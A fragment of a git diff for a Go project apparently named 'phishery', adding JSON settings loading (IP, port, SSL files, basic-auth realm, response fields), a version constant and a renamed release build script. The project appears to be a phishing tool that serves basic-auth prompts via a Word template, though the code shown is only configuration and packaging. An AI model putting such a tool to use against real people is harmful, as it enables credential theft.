phish + +import ( + "os" + "encoding/json" +) + +type Settings struct { + IP string + Port string + SSLKey string + SSLCert string + BasicRealm string + ResponseFile string + ResponseBody string + ResponseStatus int + ResponseHeaders [][]string +} + +func loadSettings(jsonFile string) Settings { + file, err := os.Open(jsonFile) + if err != nil { + neat.Error("Error loading settings: %s", err) + os.Exit(1) + } + + settings := Settings{} + decoder := json.NewDecoder(file) + if err := decoder.Decode(&settings); err != nil { + neat.Error("Error decoding settings: %s", err) + os.Exit(1) + } + + return settings +} \ No newline at end of file diff --git a/phish/version.go b/phish/version.go new file mode 100644 index 0000000..791a022 --- /dev/null +++ b/phish/version.go @@ -0,0 +1,3 @@ +package phish + +const VERSION = "1.0.2" \ No newline at end of file diff --git a/release b/release index 677146b..60c7963 100755 --- a/release +++ b/release @@ -2,7 +2,7 @@ for OS in "linux" "darwin" "windows" "freebsd"; do GOOS=$OS CGO_ENABLED=0 GOARCH=amd64 go build - FOLDER=go-phish1.0.1$OS-amd64 + FOLDER=phishery1.0.2$OS-amd64 ARCHIVE=$FOLDER.tar.gz mkdir $FOLDER cp LICENSE $FOLDER @@ -12,11 +12,11 @@ for OS in "linux" "darwin" "windows" "freebsd"; do cp server.key $FOLDER cp template.dotx $FOLDER if [ $OS = "windows" ] ; then - cp go-phish.exe $FOLDER - rm go-phish.exe + cp phishery.exe $FOLDER + rm phishery.exe else - cp go-phish $FOLDER - rm go-phish + cp phishery $FOLDER + rm phishery fi COPYFILE_DISABLE=1 tar -czf $ARCHIVE $FOLDER rm -rf $FOLDER